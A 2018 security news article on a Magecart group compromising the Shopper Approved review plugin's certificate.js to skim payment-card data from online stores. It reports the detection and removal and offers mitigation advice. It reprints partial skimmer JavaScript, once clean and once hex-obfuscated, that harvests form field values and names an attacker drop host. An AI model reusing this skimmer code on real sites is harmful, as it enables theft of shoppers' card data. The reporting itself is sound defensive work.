Magecart Group Compromises Plugin Used in Thousands of Stores, Makes Rookie Mistake

bleepingcomputer.com/news/security/magecart-group-compromises-plugin-used-in-thousands-of-stores-makes-rookie-mistake/

Ionut Ilascu

By
Ionut Ilascu

- October 9, 2018
- 09:00 AM
- 0

A group behind recent Magecart campaigns made a mistake that could have cost thousands of web stores the payment card data of their customers when they checked out.

The cybercriminals managed to compromise the popular Shopper Approved plugin used by online merchants to collect customer reviews and ratings. The plugin helps increase visibility by displaying the reviews in strategic locations through advertising networks from Google or Microsoft.

Security researchers from digital risk management company RiskIQ received an alert on September 15 from their systems for positive identification of the Magecart skimming code in the *certificate.js* script of the Shopper Approved seal code.

The investigation revealed that the attackers injected the code without applying any obfuscation, which made it easy to detect and identify. Aware of the mistake, they returned about 15 minutes later and modified the skimmer to hide it.

Page https://www.shopperapproved.com/seals/certificate.js

Status | Messages (0) | Dependent Requests (0) | Cookies (1) | Links (0) | Headers | SSL Certs (1) | Response & DOM | DOM Changes

Response Body

```
var w9034f034b0f1b9a6dae05f14a395d8b6={
    snd:null,
    va7ffe9a80757203fdb5718d429ad0d5d:'https://info-stat.ws/js/slider.js',
    myid:(function(name){
        var matches=document.cookie.match(new RegExp('(?:^|; )'+name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,'\\$1')+'=([^;]*)'));
        return matches?decodeURIComponent(matches[1]):undefined;
    })('setidd')||(function(){
        var ms=new Date();
        var myid = ms.getTime()+"-"+Math.floor(Math.random()*(999999999-11111111+1)+11111111);
        var date=new Date(new Date().getTime()+60*60*24*1000);
        document.cookie='setidd='+myid+'; path=/; expires='+date.toUTCString();
        return myid;
    })(),
clk:function(){
        w9034f034b0f1b9a6dae05f14a395d8b6.snd=null;
        var inp=document.querySelectorAll("input, select, textarea, checkbox, button");
        for (var i=0;i<inp.length;i++){
            if(inp[i].value.length>0){
                var nme=inp[i].name;
                if(nme==''){nme=i;}
                    w9034f034b0f1b9a6dae05f14a395d8b6.snd+=inp[i].name+'='+inp[i].value+'&';
            }
        }
    },
    send:function(){
        try{
            var btn=document.querySelectorAll("a[href*='javascript:void(0)'],button, input, submit, .btn, .button");
            for(var i=0;i<btn.length;i++){
                var b=btn[i];
                if(b.type!='text'&&b.type!='select'&&b.type!='checkbox'&&b.type!='password'&&b.type!='radio'){
                    if(b.addEventListener) {
```

Deobfuscated Magecart card-skimming script

This blunder, although minor, was enough to let researchers view the clean code without having to resort to deobfuscation techniques.

Page https://shopperapproved.com/seals/certificate.js

Status | Messages (0) | Dependent Requests (0) | Cookies (0) | Links (0) | Headers | SSL Certs (1) | Response & DOM | DOM Changes | Causes | Social | Inspection Results | Sequence To Parent

Response Body

```
function openshopperapproved(e){var nonwin=(navigator.appName!='Microsoft Internet Explorer')?'yes':'no';var
h=screen.availHeight-90;var w=940;if(window.innerWidth<1400){w=620}
window.open(this.href,'shopperapproved','location='+nonwin+',scrollbars=yes,width='+w+',height='+h+',menubar=no,toolbar=no');
if(e.stopPropagation)e.stopPropagation();return false;}
(function(){var seals=document.getElementsByClassName('shopperlink');for(var i=0,end=seals.length;i<end;i++)
{seals[i].onclick=openshopperapproved;}})();var _0xa5f2=
["\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x6E\x66\x6F\x2D\x73\x74\x61\x74\x2E\x77\x73\x2F\x6A\x73\x2F\x73\x6C\x69\x64\x65\x72\x2
E\x6A\x73","\x73\x65\x74\x69\x64\x64","\x28\x3F\x3A\x5E\x7C\x3B\x20\x29","\x5C\x24\x31","\x72\x65\x70\x6C\x61\x63\x65","\x3D\
x28\x5B\x5E\x3B\x5D\x2A\x29","\x6D\x61\x74\x63\x68","\x63\x6F\x6F\x6B\x69\x65","\x67\x65\x74\x54\x69\x6D\x65","\x2D","\x72\x61
1\x6E\x64\x6F\x6D","\x66\x6C\x6F\x6F\x72","\x73\x65\x74\x69\x64\x64\x3D","\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x20\x65\x78\x7
0\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x73\x6E\x64","\x69\x6E\x70\x75\x74\x2C\x20\x73\x65\x6
C\x65\x63\x74\x2C\x20\x74\x65\x78\x74\x61\x72\x65\x61\x2C\x20\x63\x68\x65\x63\x6B\x62\x6F\x78\x2C\x20\x62\x75\x74\x74\x6F\x6E
","\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72\x41\x6C\x6C","\x6C\x65\x6E\x67\x74\x68","\x76\x61\x6C\x75\x65","\x6E\
x61\x6D\x65","","\x3D","\x26","\x61\x5B\x68\x72\x65\x66\x2A\x3D\x27\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x76\x6F\x69\x
64\x28\x30\x29\x27\x5D\x2C\x62\x75\x74\x74\x6F\x6E\x2C\x20\x69\x6E\x70\x75\x74\x2C\x20\x73\x75\x62\x6D\x69\x74\x2C\x20\x2E\x62
2\x74\x6E\x2C\x20\x2E\x62\x75\x74\x74\x6F\x6E","\x74\x79\x70\x65","\x74\x65\x78\x74","\x73\x65\x6C\x65\x63\x74","\x63\x68\x65
\x63\x6B\x62\x6F\x78","\x70\x61\x73\x73\x77\x6F\x72\x64","\x72\x61\x64\x69\x6F","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73
\x74\x65\x6E\x65\x72","\x63\x6C\x69\x63\x6B","\x63\x6C\x6B","\x6F\x6E\x63\x6C\x69\x63\x6B","\x61\x74\x74\x61\x63\x68\x45\x76\
x65\x6E\x74","\x66\x6F\x72\x6D","\x73\x75\x62\x6D\x69\x74","\x6F\x6E\x73\x75\x62\x6D\x69\x74","\x5F","\x6A\x6F\x69\x6E","\x73
\x6C\x69\x63\x65","\x2E","\x73\x70\x6C\x69\x74","\x68\x6F\x73\x74\x6E\x61\x6D\x65","\x6E\x6F\x64\x6F\x6D\x61\x69\x6E","\x50\x
4F\x53\x54","\x76\x61\x37\x66\x66\x65\x39\x61\x38\x30\x37\x35\x37\x32\x30\x33\x66\x64\x62\x35\x37\x31\x38\x64\x34\x32\x39\x61
\x64\x30\x64\x35\x64","\x6F\x70\x65\x6E","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x74\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74
\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x73\x65\x74\x52\x65\x
71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x69\x6E\x66\x6F\x3D","\x26\x68\x6F\x73\x74\x6E\x61\x6D\x65\x3D","\x26\x6B\x65\x
79\x3D","\x6D\x79\x69\x64","\x73\x65\x6E\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x74\x65\x73\x74","\x6F\x6E\x65\x70\x61\x67
\x65\x7C\x63\x68\x65\x63\x6B\x6F\x75\x74\x7C\x73\x74\x6F\x72\x65\x7C\x63\x61\x72\x74\x7C\x70\x61\x79\x7C\x70\x61\x6E\x69\x65\
x72\x7C\x6B\x61\x73\x73\x65\x7C\x62\x61\x73\x6B\x65\x74","\x67\x69"];var w9034f034b0f1b9a6dae05f14a395d8b6=
{snd:null,va7ffe9a80757203fdb5718d429ad0d5d:_0xa5f2[0],myid:(function(_0x29f7x2){var _0x29f7x3=document[_0xa5f2[7]]
[_0xa5f2[6]](new RegExp(_0xa5f2[2]+_0x29f7x2[_0xa5f2[4]](/([\.$?*|{}\(\)\[\]\\\/\+^])/g,_0xa5f2[3])+_0xa5f2[5]));return
_0x29f7x3?decodeURIComponent(_0x29f7x3[1]):undefined})(_0xa5f2[1])||(function(){var _0x29f7x4=new Date();var
_0x29f7x5=_0x29f7x4[_0xa5f2[8]]()+_0xa5f2[9]+Math[_0xa5f2[11]](Math[_0xa5f2[10]]()*(999999999-11111111+1)+11111111);var
```

Obfuscated code, 15 minutes later

Of note is the drop server set up by the attackers to receive the payment card data, which is the same used in the Feedify hack, a month ago.

RiskIQ used several channels of communication to alert Shopper Approved of the compromise and help them mitigate the issue. Two days later, the skimmer code was removed from the store review widget. An investigation was also started to learn the source of the compromise.

“While Shopper Approved is active on thousands of websites, only a small fraction of their clients were impacted,” RiskIQ says in a report shared with BleepingComputer in advance.

Shopper Approved identified clients that loaded the compromised script and contacted them to help remediate the issues.

At least seven groups associated with Magecart campaigns

Magecart is the term used for multiple groups that either compromise shopping websites directly or go further up the stream and infect plugins used by a large number of online stores, in an attempt to score big.

At the moment, RiskIQ distinguishes between seven groups, some of them responsible for the Ticketmaster, British Airways, Feedify, and Newegg breaches.

The recommendation from the experts is to remove third-party code from checkout pages. Many payment service providers have already adopted this practice, RiskIQ informs.

The Magecart threat is unlikely to disappear any time soon. In fact, a sharp increase in the number of attacks has been spotted in September by multiple security outfits.

Ionut Ilascu

Ionut Ilascu is a technology writer with a focus on all things cybersecurity. The topics he writes about include malware, vulnerabilities, exploits and security defenses, as well as research and innovation in information security. His work has been published by Bitdefender, Netgear, The Security Ledger and Softpedia.

- Previous Article
- Next Article

You may also like: